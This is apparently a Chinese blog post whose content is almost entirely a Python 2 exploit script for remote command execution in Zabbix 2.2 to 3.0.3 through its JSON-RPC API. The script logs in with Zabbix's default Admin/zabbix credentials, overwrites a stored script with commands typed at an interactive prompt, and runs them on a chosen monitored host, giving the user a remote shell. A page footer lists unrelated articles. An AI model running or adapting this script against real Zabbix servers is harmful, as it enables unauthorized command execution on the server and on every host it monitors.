• Zabbix RCE with API JSONRPC


    测试脚本:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    # Software Link: http://www.zabbix.com/download.php
    # Version: 2.2 - 3.0.3
    
    
    import requests
    import json
    import sys
    
    
    def verify(url,hostid):
        url = url + '/api_jsonrpc.php'    ### Don't edit
    
        login = 'Admin'        ### Zabbix login
        password = 'zabbix'    ### Zabbix password
    
        ### auth
        payload = {
               "jsonrpc" : "2.0",
            "method" : "user.login",
            "params": {
                'user': ""+login+"",
                'password': ""+password+"",
            },
               "auth" : None,
            "id" : 0,
        }
        headers = {
            'content-type': 'application/json',
        }
    
        auth  = requests.post(url, data=json.dumps(payload), headers=(headers))
        auth = auth.json()
    
        while True:
            cmd = raw_input(':~  ')
            if cmd == "" : print "Result of last command:"
            if cmd == "quit" : break
    
        ### update
            payload = {
                "jsonrpc": "2.0",
                "method": "script.update",
                "params": {
                    "scriptid": "1",
                    "command": ""+cmd+""
                },
                "auth" : auth['result'],
                "id" : 0,
            }
    
            cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))
    
        ### execute
            payload = {
                "jsonrpc": "2.0",
                "method": "script.execute",
                "params": {
                    "scriptid": "1",
                    "hostid": ""+hostid+""
                },
                "auth" : auth['result'],
                "id" : 0,
            }
    
            cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))
            cmd_exe = cmd_exe.json()
            print cmd_exe["result"]["value"]
    
    
    if __name__ == '__main__':
        url = sys.argv[1]
        hostid = sys.argv[2]
        verify(url,hostid)

    测试截图:

  • 相关阅读:
    oracle连接命令
    oracle Wrap加密
    oracle copy
    oracle loader
    oracle一些常见的问题
    python-cn(华蟒用户组,CPyUG 邮件列表)
    代理服务器验证工具
    多线程中的信号/槽
    【多线程】python界面阻塞,白屏,not responding解决的简单例子
    vi命令
  • 原文地址:https://www.cnblogs.com/persuit/p/5718048.html
Copyright © 2020-2023  润新知